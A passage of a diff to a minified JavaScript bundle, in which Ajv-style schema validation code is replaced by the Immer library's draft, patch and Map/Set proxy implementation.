(0, s7.not)(o8); - function a8(e13 = s7.nil) { - return (0, s7.and)(s7._`typeof ${t10} == "number"`, e13, i9 ? s7._`isFinite(${t10})` : s7.nil); - } + function b8(e12) { + var t10 = X5[e12]; + return t10 || i8(18, e12), t10; } - function l7(e12, t10, i9, n9) { - if (1 === e12.length) - return f8(e12[0], t10, i9, n9); - let r9; - const o8 = (0, a7.toHash)(e12); - if (o8.array && o8.object) { - const e13 = s7._`typeof ${t10} != "object"`; - r9 = o8.null ? e13 : s7._`!${t10} || ${e13}`, delete o8.null, delete o8.array, delete o8.object; - } else - r9 = s7.nil; - o8.number && delete o8.integer; - for (const e13 in o8) - r9 = (0, s7.and)(r9, f8(e13, t10, i9, n9)); - return r9; + function v8(e12, t10) { + X5[e12] || (X5[e12] = t10); } - t9.checkDataType = f8, t9.checkDataTypes = l7; - const u7 = { message: ({ schema: e12 }) => `must be ${e12}`, params: ({ schema: e12, schemaValue: t10 }) => "string" == typeof e12 ? s7._`{type: ${e12}}` : s7._`{type: ${t10}}` }; - function m7(e12) { - const t10 = function(e13) { - const { gen: t11, data: i9, schema: n9 } = e13, r9 = (0, a7.schemaRefOrVal)(e13, n9, "type"); - return { gen: t11, keyword: "type", data: i9, schema: n9.type, schemaCode: r9, schemaValue: r9, parentSchema: n9, params: {}, it: e13 }; - }(e12); - (0, o7.reportError)(t10, u7); + function j6() { + return U6; } - t9.reportTypeError = m7; - }, 96841: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.assignDefaults = void 0; - const n8 = i8(17898), r8 = i8(50458); - function o7(e12, t10, i9) { - const { gen: o8, compositeRule: s7, data: a7, opts: p7 } = e12; - if (void 0 === i9) - return; - const c7 = n8._`${a7}${(0, n8.getProperty)(t10)}`; - if (s7) - return void (0, r8.checkStrictMode)(e12, `default is ignored for: ${c7}`); - let d7 = n8._`${c7} === undefined`; - "empty" === p7.useDefaults && (d7 = n8._`${d7} || ${c7} === null || ${c7} === ""`), o8.if(d7, n8._`${c7} = ${(0, n8.stringify)(i9)}`); + function $5(e12, t10) { + t10 && (b8("Patches"), e12.o = [], e12.v = [], e12.s = t10); } - t9.assignDefaults = function(e12, t10) { - const { properties: i9, items: n9 } = e12.schema; - if ("object" === t10 && i9) - for (const t11 in i9) - o7(e12, t11, i9[t11].default); - else - "array" === t10 && Array.isArray(n9) && n9.forEach((t11, i10) => o7(e12, i10, t11.default)); - }; - }, 96223: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.getData = t9.KeywordCxt = t9.validateFunctionCode = void 0; - const n8 = i8(15948), r8 = i8(69003), o7 = i8(74758), s7 = i8(69003), a7 = i8(96841), p7 = i8(49348), c7 = i8(53322), d7 = i8(17898), f8 = i8(63036), l7 = i8(14856), u7 = i8(50458), m7 = i8(49409); - function h8({ gen: e12, validateName: t10, schema: i9, schemaEnv: n9, opts: r9 }, o8) { - r9.code.es5 ? e12.func(t10, d7._`${f8.default.data}, ${f8.default.valCxt}`, n9.$async, () => { - e12.code(d7._`"use strict"; ${y7(i9, r9)}`), function(e13, t11) { - e13.if(f8.default.valCxt, () => { - e13.var(f8.default.instancePath, d7._`${f8.default.valCxt}.${f8.default.instancePath}`), e13.var(f8.default.parentData, d7._`${f8.default.valCxt}.${f8.default.parentData}`), e13.var(f8.default.parentDataProperty, d7._`${f8.default.valCxt}.${f8.default.parentDataProperty}`), e13.var(f8.default.rootData, d7._`${f8.default.valCxt}.${f8.default.rootData}`), t11.dynamicRef && e13.var(f8.default.dynamicAnchors, d7._`${f8.default.valCxt}.${f8.default.dynamicAnchors}`); - }, () => { - e13.var(f8.default.instancePath, d7._`""`), e13.var(f8.default.parentData, d7._`undefined`), e13.var(f8.default.parentDataProperty, d7._`undefined`), e13.var(f8.default.rootData, f8.default.data), t11.dynamicRef && e13.var(f8.default.dynamicAnchors, d7._`{}`); - }); - }(e12, r9), e12.code(o8); - }) : e12.func(t10, d7._`${f8.default.data}, ${function(e13) { - return d7._`{${f8.default.instancePath}="", ${f8.default.parentData}, ${f8.default.parentDataProperty}, ${f8.default.rootData}=${f8.default.data}${e13.dynamicRef ? d7._`, ${f8.default.dynamicAnchors}={}` : d7.nil}}={}`; - }(r9)}`, n9.$async, () => e12.code(y7(i9, r9)).code(o8)); + function x7(e12) { + _6(e12), e12.p.forEach(S6), e12.p = null; } - function y7(e12, t10) { - const i9 = "object" == typeof e12 && e12[t10.schemaId]; - return i9 && (t10.code.source || t10.code.process) ? d7._`/*# sourceURL=${i9} */` : d7.nil; + function _6(e12) { + e12 === U6 && (U6 = e12.l); } - function g7({ schema: e12, self: t10 }) { - if ("boolean" == typeof e12) - return !e12; - for (const i9 in e12) - if (t10.RULES.all[i9]) - return true; - return false; + function w6(e12) { + return U6 = { p: [], l: U6, h: e12, _: true, m: 0 }; } - function b8(e12) { - return "boolean" != typeof e12.schema; + function S6(e12) { + var t10 = e12[G5]; + 0 === t10.t || 1 === t10.t ? t10.j() : t10.O = true; } - function v8(e12) { - (0, u7.checkUnknownRules)(e12), function(e13) { - const { schema: t10, errSchemaPath: i9, opts: n9, self: r9 } = e13; - t10.$ref && n9.ignoreKeywordsWithRef && (0, u7.schemaHasRulesButRef)(t10, r9.RULES) && r9.logger.warn(`$ref: keywords ignored in schema at path "${i9}"`); - }(e12); + function P6(e12, t10) { + t10.m = t10.p.length; + var n9 = t10.p[0], o8 = void 0 !== e12 && e12 !== n9; + return t10.h.S || b8("ES5").P(t10, e12, o8), o8 ? (n9[G5].g && (x7(t10), i8(4)), r8(e12) && (e12 = O7(t10, e12), t10.l || A6(t10, e12)), t10.o && b8("Patches").M(n9[G5].u, e12, t10.o, t10.v)) : e12 = O7(t10, n9, []), x7(t10), t10.o && t10.s(t10.o, t10.v), e12 !== K5 ? e12 : void 0; } - function j6(e12, t10) { - if (e12.opts.jtd) - return x7(e12, [], false, t10); - const i9 = (0, r8.getSchemaTypes)(e12.schema); - x7(e12, i9, !(0, r8.coerceAndCheckDataType)(e12, i9), t10); - } - function $5({ gen: e12, schemaEnv: t10, schema: i9, errSchemaPath: n9, opts: r9 }) { - const o8 = i9.$comment; - if (true === r9.$comment) - e12.code(d7._`${f8.default.self}.logger.log(${o8})`); - else if ("function" == typeof r9.$comment) { - const i10 = d7.str`${n9}/$comment`, r10 = e12.scopeValue("root", { ref: t10.root }); - e12.code(d7._`${f8.default.self}.opts.$comment(${o8}, ${i10}, ${r10}.schema)`); + function O7(e12, t10, i9) { + if (g7(t10)) + return t10; + var n9 = t10[G5]; + if (!n9) + return o7(t10, function(r10, o8) { + return T6(e12, n9, t10, r10, o8, i9); + }, true), t10; + if (n9.A !== e12) + return t10; + if (!n9.g) + return A6(e12, n9.u, true), n9.u; + if (!n9.R) { + n9.R = true, n9.A.m--; + var r9 = 4 === n9.t || 5 === n9.t ? n9.i = m7(n9.k) : n9.i, s8 = r9, a8 = false; + 3 === n9.t && (s8 = new Set(r9), r9.clear(), a8 = true), o7(s8, function(t11, o8) { + return T6(e12, n9, r9, t11, o8, i9, a8); + }), A6(e12, r9, false), i9 && e12.o && b8("Patches").F(n9, i9, e12.o, e12.v); } + return n9.i; } - function x7(e12, t10, i9, n9) { - const { gen: r9, schema: a8, data: p8, allErrors: c8, opts: l8, self: m8 } = e12, { RULES: h9 } = m8; - function y8(u8) { - (0, o7.shouldUseGroup)(a8, u8) && (u8.type ? (r9.if((0, s7.checkDataType)(u8.type, p8, l8.strictNumbers)), _6(e12, u8), 1 === t10.length && t10[0] === u8.type && i9 && (r9.else(), (0, s7.reportTypeError)(e12)), r9.endIf()) : _6(e12, u8), c8 || r9.if(d7._`${f8.default.errors} === ${n9 || 0}`)); + function T6(e12, t10, i9, o8, s8, p8, d8) { + if (n8(s8)) { + var f9 = O7(e12, s8, p8 && t10 && 3 !== t10.t && !a7(t10.N, o8) ? p8.concat(o8) : void 0); + if (c7(i9, o8, f9), !n8(f9)) + return; + e12._ = false; + } else + d8 && i9.add(s8); + if (r8(s8) && !g7(s8)) { + if (!e12.h.D && e12.m < 1) + return; + O7(e12, s8), t10 && t10.A.l || A6(e12, s8); } - !a8.$ref || !l8.ignoreKeywordsWithRef && (0, u7.schemaHasRulesButRef)(a8, h9) ? (l8.jtd || function(e13, t11) { - !e13.schemaEnv.meta && e13.opts.strictTypes && (function(e14, t12) { - t12.length && (e14.dataTypes.length ? (t12.forEach((t13) => { - w6(e14.dataTypes, t13) || S6(e14, `type "${t13}" not allowed by context "${e14.dataTypes.join(",")}"`); - }), function(e15, t13) { - const i10 = []; - for (const n10 of e15.dataTypes) - w6(t13, n10) ? i10.push(n10) : t13.includes("integer") && "number" === n10 && i10.push("integer"); - e15.dataTypes = i10; - }(e14, t12)) : e14.dataTypes = t12); - }(e13, t11), e13.opts.allowUnionTypes || function(e14, t12) { - t12.length > 1 && (2 !== t12.length || !t12.includes("null")) && S6(e14, "use allowUnionTypes to allow union type keyword"); - }(e13, t11), function(e14, t12) { - const i10 = e14.self.RULES.all; - for (const n10 in i10) { - const r10 = i10[n10]; - if ("object" == typeof r10 && (0, o7.shouldUseRule)(e14.schema, r10)) { - const { type: i11 } = r10.definition; - i11.length && !i11.some((e15) => { - return n11 = e15, (i12 = t12).includes(n11) || "number" === n11 && i12.includes("integer"); - var i12, n11; - }) && S6(e14, `missing type "${i11.join(",")}" for keyword "${n10}"`); - } - } - }(e13, e13.dataTypes)); - }(e12, t10), r9.block(() => { - for (const e13 of h9.rules) - y8(e13); - y8(h9.post); - })) : r9.block(() => O7(e12, "$ref", h9.all.$ref.definition)); } - function _6(e12, t10) { - const { gen: i9, schema: n9, opts: { useDefaults: r9 } } = e12; - r9 && (0, a7.assignDefaults)(e12, t10.type), i9.block(() => { - for (const i10 of t10.rules) - (0, o7.shouldUseRule)(n9, i10) && O7(e12, i10.keyword, i10.definition, t10.type); - }); + function A6(e12, t10, i9) { + void 0 === i9 && (i9 = false), !e12.l && e12.h.D && e12._ && h8(t10, i9); } - function w6(e12, t10) { - return e12.includes(t10) || "integer" === t10 && e12.includes("number"); + function I6(e12, t10) { + var i9 = e12[G5]; + return (i9 ? u7(i9) : e12)[t10]; } - function S6(e12, t10) { - t10 += ` at "${e12.schemaEnv.baseId + e12.errSchemaPath}" (strictTypes)`, (0, u7.checkStrictMode)(e12, t10, e12.opts.strictTypes); + function E6(e12, t10) { + if (t10 in e12) + for (var i9 = Object.getPrototypeOf(e12); i9; ) { + var n9 = Object.getOwnPropertyDescriptor(i9, t10); + if (n9) + return n9; + i9 = Object.getPrototypeOf(i9); + } } - t9.validateFunctionCode = function(e12) { - b8(e12) && (v8(e12), g7(e12)) ? function(e13) { - const { schema: t10, opts: i9, gen: n9 } = e13; - h8(e13, () => { - i9.$comment && t10.$comment && $5(e13), function(e14) { - const { schema: t11, opts: i10 } = e14; - void 0 !== t11.default && i10.useDefaults && i10.strictSchema && (0, u7.checkStrictMode)(e14, "default is ignored in the schema root"); - }(e13), n9.let(f8.default.vErrors, null), n9.let(f8.default.errors, 0), i9.unevaluated && function(e14) { - const { gen: t11, validateName: i10 } = e14; - e14.evaluated = t11.const("evaluated", d7._`${i10}.evaluated`), t11.if(d7._`${e14.evaluated}.dynamicProps`, () => t11.assign(d7._`${e14.evaluated}.props`, d7._`undefined`)), t11.if(d7._`${e14.evaluated}.dynamicItems`, () => t11.assign(d7._`${e14.evaluated}.items`, d7._`undefined`)); - }(e13), j6(e13), function(e14) { - const { gen: t11, schemaEnv: i10, validateName: n10, ValidationError: r9, opts: o8 } = e14; - i10.$async ? t11.if(d7._`${f8.default.errors} === 0`, () => t11.return(f8.default.data), () => t11.throw(d7._`new ${r9}(${f8.default.vErrors})`)) : (t11.assign(d7._`${n10}.errors`, f8.default.vErrors), o8.unevaluated && function({ gen: e15, evaluated: t12, props: i11, items: n11 }) { - i11 instanceof d7.Name && e15.assign(d7._`${t12}.props`, i11), n11 instanceof d7.Name && e15.assign(d7._`${t12}.items`, n11); - }(e14), t11.return(d7._`${f8.default.errors} === 0`)); - }(e13); - }); - }(e12) : h8(e12, () => (0, n8.topBoolOrEmptySchema)(e12)); - }; - class P6 { - constructor(e12, t10, i9) { - if ((0, p7.validateKeywordUsage)(e12, t10, i9), this.gen = e12.gen, this.allErrors = e12.allErrors, this.keyword = i9, this.data = e12.data, this.schema = e12.schema[i9], this.$data = t10.$data && e12.opts.$data && this.schema && this.schema.$data, this.schemaValue = (0, u7.schemaRefOrVal)(e12, this.schema, i9, this.$data), this.schemaType = t10.schemaType, this.parentSchema = e12.schema, this.params = {}, this.it = e12, this.def = t10, this.$data) - this.schemaCode = e12.gen.const("vSchema", I6(this.$data, e12)); - else if (this.schemaCode = this.schemaValue, !(0, p7.validSchemaType)(this.schema, t10.schemaType, t10.allowUndefined)) - throw new Error(`${i9} value must be ${JSON.stringify(t10.schemaType)}`); - ("code" in t10 ? t10.trackErrors : false !== t10.errors) && (this.errsCount = e12.gen.const("_errs", f8.default.errors)); - } - result(e12, t10, i9) { - this.failResult((0, d7.not)(e12), t10, i9); - } - failResult(e12, t10, i9) { - this.gen.if(e12), i9 ? i9() : this.error(), t10 ? (this.gen.else(), t10(), this.allErrors && this.gen.endIf()) : this.allErrors ? this.gen.endIf() : this.gen.else(); + function q5(e12) { + e12.g || (e12.g = true, e12.l && q5(e12.l)); + } + function k6(e12) { + e12.i || (e12.i = m7(e12.u)); + } + function M6(e12, t10, i9) { + var n9 = f8(t10) ? b8("MapSet").K(t10, i9) : l7(t10) ? b8("MapSet").$(t10, i9) : e12.S ? function(e13, t11) { + var i10 = Array.isArray(e13), n10 = { t: i10 ? 1 : 0, A: t11 ? t11.A : j6(), g: false, R: false, N: {}, l: t11, u: e13, k: null, i: null, j: null, C: false }, r9 = n10, o8 = ee4; + i10 && (r9 = [n10], o8 = te4); + var s8 = Proxy.revocable(r9, o8), a8 = s8.revoke, p8 = s8.proxy; + return n10.k = p8, n10.j = a8, p8; + }(t10, i9) : b8("ES5").I(t10, i9); + return (i9 ? i9.A : j6()).p.push(n9), n9; + } + function R6(e12) { + return n8(e12) || i8(22, e12), function e13(t10) { + if (!r8(t10)) + return t10; + var i9, n9 = t10[G5], a8 = s7(t10); + if (n9) { + if (!n9.g && (n9.t < 4 || !b8("ES5").J(n9))) + return n9.u; + n9.R = true, i9 = D6(t10, a8), n9.R = false; + } else + i9 = D6(t10, a8); + return o7(i9, function(t11, r9) { + n9 && p7(n9.u, t11) === r9 || c7(i9, t11, e13(r9)); + }), 3 === a8 ? new Set(i9) : i9; + }(e12); + } + function D6(e12, t10) { + switch (t10) { + case 2: + return new Map(e12); + case 3: + return Array.from(e12); } - pass(e12, t10) { - this.failResult((0, d7.not)(e12), void 0, t10); + return m7(e12); + } + function C6() { + function e12(e13, t11) { + var i10 = s8[e13]; + return i10 ? i10.enumerable = t11 : s8[e13] = i10 = { configurable: true, enumerable: t11, get: function() { + return ee4.get(this[G5], e13); + }, set: function(t12) { + ee4.set(this[G5], e13, t12); + } }, i10; } - fail(e12) { - if (void 0 === e12) - return this.error(), void (this.allErrors || this.gen.if(false)); - this.gen.if(e12), this.error(), this.allErrors ? this.gen.endIf() : this.gen.else(); + function t10(e13) { + for (var t11 = e13.length - 1; t11 >= 0; t11--) { + var n9 = e13[t11][G5]; + if (!n9.g) + switch (n9.t) { + case 5: + r9(n9) && q5(n9); + break; + case 4: + i9(n9) && q5(n9); + } + } } - fail$data(e12) { - if (!this.$data) - return this.fail(e12); - const { schemaCode: t10 } = this; - this.fail(d7._`${t10} !== undefined && (${(0, d7.or)(this.invalid$data(), e12)})`); + function i9(e13) { + for (var t11 = e13.u, i10 = e13.k, n9 = Z5(i10), r10 = n9.length - 1; r10 >= 0; r10--) { + var o8 = n9[r10]; + if (o8 !== G5) { + var s9 = t11[o8]; + if (void 0 === s9 && !a7(t11, o8)) + return true; + var p8 = i10[o8], c8 = p8 && p8[G5]; + if (c8 ? c8.u !== s9 : !d7(p8, s9)) + return true; + } + } + var f9 = !!t11[G5]; + return n9.length !== Z5(t11).length + (f9 ? 0 : 1); } - error(e12, t10, i9) { - if (t10) - return this.setParams(t10), this._error(e12, i9), void this.setParams({}); - this._error(e12, i9); + function r9(e13) { + var t11 = e13.k; + if (t11.length !== e13.u.length) + return true; + var i10 = Object.getOwnPropertyDescriptor(t11, t11.length - 1); + if (i10 && !i10.get) + return true; + for (var n9 = 0; n9 < t11.length; n9++) + if (!t11.hasOwnProperty(n9)) + return true; + return false; } - _error(e12, t10) { - (e12 ? m7.reportExtraError : m7.reportError)(this, this.def.error, t10); + var s8 = {}; + v8("ES5", { I: function(t11, i10) { + var n9 = Array.isArray(t11), r10 = function(t12, i11) { + if (t12) { + for (var n10 = Array(i11.length), r11 = 0; r11 < i11.length; r11++) + Object.defineProperty(n10, "" + r11, e12(r11, true)); + return n10; + } + var o9 = Y6(i11); + delete o9[G5]; + for (var s9 = Z5(o9), a8 = 0; a8 < s9.length; a8++) { + var p8 = s9[a8]; + o9[p8] = e12(p8, t12 || !!o9[p8].enumerable); + } + return Object.create(Object.getPrototypeOf(i11), o9); + }(n9, t11), o8 = { t: n9 ? 5 : 4, A: i10 ? i10.A : j6(), g: false, R: false, N: {}, l: i10, u: t11, k: r10, i: null, O: false, C: false }; + return Object.defineProperty(r10, G5, { value: o8, writable: true }), r10; + }, P: function(e13, i10, s9) { + s9 ? n8(i10) && i10[G5].A === e13 && t10(e13.p) : (e13.o && function e14(t11) { + if (t11 && "object" == typeof t11) { + var i11 = t11[G5]; + if (i11) { + var n9 = i11.u, s10 = i11.k, p8 = i11.N, c8 = i11.t; + if (4 === c8) + o7(s10, function(t12) { + t12 !== G5 && (void 0 !== n9[t12] || a7(n9, t12) ? p8[t12] || e14(s10[t12]) : (p8[t12] = true, q5(i11))); + }), o7(n9, function(e15) { + void 0 !== s10[e15] || a7(s10, e15) || (p8[e15] = false, q5(i11)); + }); + else if (5 === c8) { + if (r9(i11) && (q5(i11), p8.length = true), s10.length < n9.length) + for (var d8 = s10.length; d8 < n9.length; d8++) + p8[d8] = false; + else + for (var f9 = n9.length; f9 < s10.length; f9++) + p8[f9] = true; + for (var l8 = Math.min(s10.length, n9.length), u8 = 0; u8 < l8; u8++) + s10.hasOwnProperty(u8) || (p8[u8] = true), void 0 === p8[u8] && e14(s10[u8]); + } + } + } + }(e13.p[0]), t10(e13.p)); + }, J: function(e13) { + return 4 === e13.t ? i9(e13) : r9(e13); + } }); + } + function V5() { + function e12(t11) { + if (!r8(t11)) + return t11; + if (Array.isArray(t11)) + return t11.map(e12); + if (f8(t11)) + return new Map(Array.from(t11.entries()).map(function(t12) { + return [t12[0], e12(t12[1])]; + })); + if (l7(t11)) + return new Set(Array.from(t11).map(e12)); + var i9 = Object.create(Object.getPrototypeOf(t11)); + for (var n9 in t11) + i9[n9] = e12(t11[n9]); + return a7(t11, H5) && (i9[H5] = t11[H5]), i9; } - $dataError() { - (0, m7.reportError)(this, this.def.$dataError || m7.keyword$DataError); + function t10(t11) { + return n8(t11) ? e12(t11) : t11; } - reset() { - if (void 0 === this.errsCount) - throw new Error('add "trackErrors" to keyword definition'); - (0, m7.resetErrorsCount)(this.gen, this.errsCount); + var c8 = "add"; + v8("Patches", { W: function(t11, n9) { + return n9.forEach(function(n10) { + for (var r9 = n10.path, o8 = n10.op, a8 = t11, d8 = 0; d8 < r9.length - 1; d8++) { + var f9 = s7(a8), l8 = r9[d8]; + "string" != typeof l8 && "number" != typeof l8 && (l8 = "" + l8), 0 !== f9 && 1 !== f9 || "__proto__" !== l8 && "constructor" !== l8 || i8(24), "function" == typeof a8 && "prototype" === l8 && i8(24), "object" != typeof (a8 = p7(a8, l8)) && i8(15, r9.join("/")); + } + var u8 = s7(a8), m8 = e12(n10.value), h9 = r9[r9.length - 1]; + switch (o8) { + case "replace": + switch (u8) { + case 2: + return a8.set(h9, m8); + case 3: + i8(16); + default: + return a8[h9] = m8; + } + case c8: + switch (u8) { + case 1: + return "-" === h9 ? a8.push(m8) : a8.splice(h9, 0, m8); + case 2: + return a8.set(h9, m8); + case 3: + return a8.add(m8); + default: + return a8[h9] = m8; + } + case "remove": + switch (u8) { + case 1: + return a8.splice(h9, 1); + case 2: + return a8.delete(h9); + case 3: + return a8.delete(n10.value); + default: + return delete a8[h9]; + } + default: + i8(17, o8); + } + }), t11; + }, F: function(e13, i9, n9, r9) { + switch (e13.t) { + case 0: + case 4: + case 2: + return function(e14, i10, n10, r10) { + var s8 = e14.u, d8 = e14.i; + o7(e14.N, function(e15, o8) { + var f9 = p7(s8, e15), l8 = p7(d8, e15), u8 = o8 ? a7(s8, e15) ? "replace" : c8 : "remove"; + if (f9 !== l8 || "replace" !== u8) { + var m8 = i10.concat(e15); + n10.push("remove" === u8 ? { op: u8, path: m8 } : { op: u8, path: m8, value: l8 }), r10.push(u8 === c8 ? { op: "remove", path: m8 } : "remove" === u8 ? { op: c8, path: m8, value: t10(f9) } : { op: "replace", path: m8, value: t10(f9) }); + } + }); + }(e13, i9, n9, r9); + case 5: + case 1: + return function(e14, i10, n10, r10) { + var o8 = e14.u, s8 = e14.N, a8 = e14.i; + if (a8.length < o8.length) { + var p8 = [a8, o8]; + o8 = p8[0], a8 = p8[1]; + var d8 = [r10, n10]; + n10 = d8[0], r10 = d8[1]; + } + for (var f9 = 0; f9 < o8.length; f9++) + if (s8[f9] && a8[f9] !== o8[f9]) { + var l8 = i10.concat([f9]); + n10.push({ op: "replace", path: l8, value: t10(a8[f9]) }), r10.push({ op: "replace", path: l8, value: t10(o8[f9]) }); + } + for (var u8 = o8.length; u8 < a8.length; u8++) { + var m8 = i10.concat([u8]); + n10.push({ op: c8, path: m8, value: t10(a8[u8]) }); + } + o8.length < a8.length && r10.push({ op: "replace", path: i10.concat(["length"]), value: o8.length }); + }(e13, i9, n9, r9); + case 3: + return function(e14, t11, i10, n10) { + var r10 = e14.u, o8 = e14.i, s8 = 0; + r10.forEach(function(e15) { + if (!o8.has(e15)) { + var r11 = t11.concat([s8]); + i10.push({ op: "remove", path: r11, value: e15 }), n10.unshift({ op: c8, path: r11, value: e15 }); + } + s8++; + }), s8 = 0, o8.forEach(function(e15) { + if (!r10.has(e15)) { + var o9 = t11.concat([s8]); + i10.push({ op: c8, path: o9, value: e15 }), n10.unshift({ op: "remove", path: o9, value: e15 }); + } + s8++; + }); + }(e13, i9, n9, r9); + } + }, M: function(e13, t11, i9, n9) { + i9.push({ op: "replace", path: [], value: t11 === K5 ? void 0 : t11 }), n9.push({ op: "replace", path: [], value: e13 }); + } }); + } + function N6() { + function e12(e13, t11) { + function i9() { + this.constructor = e13; + } + a8(e13, t11), e13.prototype = (i9.prototype = t11.prototype, new i9()); } - ok(e12) { - this.allErrors || this.gen.if(e12); + function t10(e13) { + e13.i || (e13.N = /* @__PURE__ */ new Map(), e13.i = new Map(e13.u)); } - setParams(e12, t10) { - t10 ? Object.assign(this.params, e12) : this.params = e12; + function n9(e13) { + e13.i || (e13.i = /* @__PURE__ */ new Set(), e13.u.forEach(function(t11) { + if (r8(t11)) { + var i9 = M6(e13.A.h, t11, e13); + e13.p.set(t11, i9), e13.i.add(i9); + } else + e13.i.add(t11); + })); } - block$data(e12, t10, i9 = d7.nil) { - this.gen.block(() => { - this.check$data(e12, i9), t10(); - }); + function s8(e13) { + e13.O && i8(3, JSON.stringify(u7(e13))); } - check$data(e12 = d7.nil, t10 = d7.nil) { - if (!this.$data) - return; - const { gen: i9, schemaCode: n9, schemaType: r9, def: o8 } = this; - i9.if((0, d7.or)(d7._`${n9} === undefined`, t10)), e12 !== d7.nil && i9.assign(e12, true), (r9.length || o8.validateSchema) && (i9.elseIf(this.invalid$data()), this.$dataError(), e12 !== d7.nil && i9.assign(e12, false)), i9.else(); + var a8 = function(e13, t11) { + return (a8 = Object.setPrototypeOf || { __proto__: [] } instanceof Array && function(e14, t12) { + e14.__proto__ = t12; + } || function(e14, t12) { + for (var i9 in t12) + t12.hasOwnProperty(i9) && (e14[i9] = t12[i9]); + })(e13, t11); + }, p8 = function() { + function i9(e13, t11) { + return this[G5] = { t: 2, l: t11, A: t11 ? t11.A : j6(), g: false, R: false, i: void 0, N: void 0, u: e13, k: this, C: false, O: false }, this; + } + e12(i9, Map); + var n10 = i9.prototype; + return Object.defineProperty(n10, "size", { get: function() { + return u7(this[G5]).size; + } }), n10.has = function(e13) { + return u7(this[G5]).has(e13); + }, n10.set = function(e13, i10) { + var n11 = this[G5]; + return s8(n11), u7(n11).has(e13) && u7(n11).get(e13) === i10 || (t10(n11), q5(n11), n11.N.set(e13, true), n11.i.set(e13, i10), n11.N.set(e13, true)), this; + }, n10.delete = function(e13) { + if (!this.has(e13)) + return false; + var i10 = this[G5]; + return s8(i10), t10(i10), q5(i10), i10.u.has(e13) ? i10.N.set(e13, false) : i10.N.delete(e13), i10.i.delete(e13), true; + }, n10.clear = function() { + var e13 = this[G5]; + s8(e13), u7(e13).size && (t10(e13), q5(e13), e13.N = /* @__PURE__ */ new Map(), o7(e13.u, function(t11) { + e13.N.set(t11, false); + }), e13.i.clear()); + }, n10.forEach = function(e13, t11) { + var i10 = this; + u7(this[G5]).forEach(function(n11, r9) { + e13.call(t11, i10.get(r9), r9, i10); + }); + }, n10.get = function(e13) { + var i10 = this[G5]; + s8(i10); + var n11 = u7(i10).get(e13); + if (i10.R || !r8(n11)) + return n11; + if (n11 !== i10.u.get(e13)) + return n11; + var o8 = M6(i10.A.h, n11, i10); + return t10(i10), i10.i.set(e13, o8), o8; + }, n10.keys = function() { + return u7(this[G5]).keys(); + }, n10.values = function() { + var e13, t11 = this, i10 = this.keys(); + return (e13 = {})[W5] = function() { + return t11.values(); + }, e13.next = function() { + var e14 = i10.next(); + return e14.done ? e14 : { done: false, value: t11.get(e14.value) }; + }, e13; + }, n10.entries = function() { + var e13, t11 = this, i10 = this.keys(); + return (e13 = {})[W5] = function() { + return t11.entries(); + }, e13.next = function() { + var e14 = i10.next(); + if (e14.done) + return e14; + var n11 = t11.get(e14.value); + return { done: false, value: [e14.value, n11] }; + }, e13; + }, n10[W5] = function() { + return this.entries(); + }, i9; + }(), c8 = function() { + function t11(e13, t12) { + return this[G5] = { t: 3, l: t12, A: t12 ? t12.A : j6(), g: false, R: false, i: void 0, u: e13, k: this, p: /* @__PURE__ */ new Map(), O: false, C: false }, this; + } + e12(t11, Set); + var i9 = t11.prototype; + return Object.defineProperty(i9, "size", { get: function() { + return u7(this[G5]).size; + } }), i9.has = function(e13) { + var t12 = this[G5]; + return s8(t12), t12.i ? !!t12.i.has(e13) || !(!t12.p.has(e13) || !t12.i.has(t12.p.get(e13))) : t12.u.has(e13); + }, i9.add = function(e13) { + var t12 = this[G5]; + return s8(t12), this.has(e13) || (n9(t12), q5(t12), t12.i.add(e13)), this; + }, i9.delete = function(e13) { + if (!this.has(e13)) + return false; + var t12 = this[G5]; + return s8(t12), n9(t12), q5(t12), t12.i.delete(e13) || !!t12.p.has(e13) && t12.i.delete(t12.p.get(e13)); + }, i9.clear = function() { + var e13 = this[G5]; + s8(e13), u7(e13).size && (n9(e13), q5(e13), e13.i.clear()); + }, i9.values = function() { + var e13 = this[G5]; + return s8(e13), n9(e13), e13.i.values(); + }, i9.entries = function() { + var e13 = this[G5]; + return s8(e13), n9(e13), e13.i.entries(); + }, i9.keys = function() { + return this.values(); + }, i9[W5] = function() { + return this.values(); + }, i9.forEach = function(e13, t12) { + for (var i10 = this.values(), n10 = i10.next(); !n10.done; ) + e13.call(t12, n10.value, n10.value, this), n10 = i10.next(); + }, t11; + }(); + v8("MapSet", { K: function(e13, t11) { + return new p8(e13, t11); + }, $: function(e13, t11) { + return new c8(e13, t11); + } }); + } + var F6; + Object.defineProperty(t9, "__esModule", { value: true }); + var U6, L6 = "undefined" != typeof Symbol && "symbol" == typeof Symbol("x"), z6 = "undefined" != typeof Map, B6 = "undefined" != typeof Set, Q5 = "undefined" != typeof Proxy && void 0 !== Proxy.revocable && "undefined" != typeof Reflect, K5 = L6 ? Symbol.for("immer-nothing") : ((F6 = {})["immer-nothing"] = true, F6), H5 = L6 ? Symbol.for("immer-draftable") : "__$immer_draftable", G5 = L6 ? Symbol.for("immer-state") : "__$immer_state", W5 = "undefined" != typeof Symbol && Symbol.iterator || "@@iterator", J5 = "" + Object.prototype.constructor, Z5 = "undefined" != typeof Reflect && Reflect.ownKeys ? Reflect.ownKeys : void 0 !== Object.getOwnPropertySymbols ? function(e12) { + return Object.getOwnPropertyNames(e12).concat(Object.getOwnPropertySymbols(e12)); + } : Object.getOwnPropertyNames, Y6 = Object.getOwnPropertyDescriptors || function(e12) { + var t10 = {}; + return Z5(e12).forEach(function(i9) { + t10[i9] = Object.getOwnPropertyDescriptor(e12, i9); + }), t10; + }, X5 = {}, ee4 = { get: function(e12, t10) { + if (t10 === G5) + return e12; + var i9 = u7(e12); + if (!a7(i9, t10)) + return function(e13, t11, i10) { + var n10, r9 = E6(t11, i10); + return r9 ? "value" in r9 ? r9.value : null === (n10 = r9.get) || void 0 === n10 ? void 0 : n10.call(e13.k) : void 0; + }(e12, i9, t10); + var n9 = i9[t10]; + return e12.R || !r8(n9) ? n9 : n9 === I6(e12.u, t10) ? (k6(e12), e12.i[t10] = M6(e12.A.h, n9, e12)) : n9; + }, has: function(e12, t10) { + return t10 in u7(e12); + }, ownKeys: function(e12) { + return Reflect.ownKeys(u7(e12)); + }, set: function(e12, t10, i9) { + var n9 = E6(u7(e12), t10); + if (null == n9 ? void 0 : n9.set) + return n9.set.call(e12.k, i9), true; + if (!e12.g) { + var r9 = I6(u7(e12), t10), o8 = null == r9 ? void 0 : r9[G5]; + if (o8 && o8.u === i9) + return 